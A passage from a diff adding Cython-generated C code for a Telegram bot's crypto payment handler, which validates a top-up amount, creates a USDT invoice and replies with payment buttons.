PyErr_Clear(); + else __PYX_ERR(0, 204, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":207 + * f" {RUB_TO_USDT}. , :" + * ) + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/cryprobot_pay.py":203 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * f" {RUB_TO_USDT}. , :" + */ + } + + /* "handlers/payments/cryprobot_pay.py":209 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 209, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 209, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 209, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":210 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/cryprobot_pay.py":211 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto # <<<<<<<<<<<<<< + * ) + * try: + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 210, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 210, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":213 + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + * ) + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + { + __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":214 + * ) + * try: + * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 214, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/cryprobot_pay.py":215 + * try: + * invoice = await crypto.create_invoice( + * asset="USDT", # <<<<<<<<<<<<<< + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 215, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_asset, __pyx_n_u_USDT) < 0) __PYX_ERR(0, 215, __pyx_L9_error) + + /* "handlers/payments/cryprobot_pay.py":216 + * invoice = await crypto.create_invoice( + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), # <<<<<<<<<<<<<< + * description=f" {amount} ", + * payload=f"{message.chat.id}:{amount}", + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Unicode(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_amount, __pyx_t_3) < 0) __PYX_ERR(0, 215, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":217 + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", # <<<<<<<<<<<<<< + * payload=f"{message.chat.id}:{amount}", + * ) + */ + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 22; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u__10); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 4; + __Pyx_GIVEREF(__pyx_kp_u__11); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__11); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 215, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":218 + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", + * payload=f"{message.chat.id}:{amount}", # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_payload, __pyx_t_3) < 0) __PYX_ERR(0, 215, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":214 + * ) + * try: + * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L15_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 214, __pyx_L9_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 214, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_invoice = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":221 + * ) + * + * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_t_5 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_5 == ((int)-1))) __PYX_ERR(0, 221, __pyx_L9_error) + if (__pyx_t_5) { + + /* "handlers/payments/cryprobot_pay.py":222 + * + * if hasattr(invoice, "bot_invoice_url"): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 222, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":223 + * if hasattr(invoice, "bot_invoice_url"): + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + * ) + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 223, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/cryprobot_pay.py":224 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) # <<<<<<<<<<<<<< + * ) + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_u__13) < 0) __PYX_ERR(0, 224, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_s_bot_invoice_url); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_t_8) < 0) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_8}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":226 + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 226, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/cryprobot_pay.py":227 + * ) + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< + * ) + * await message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 227, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 227, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 227, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":229 + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 229, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/cryprobot_pay.py":230 + * ) + * await message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u__14); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__15); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":231 + * await message.answer( + * text=f" {amount} .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 231, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":229 + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_9); 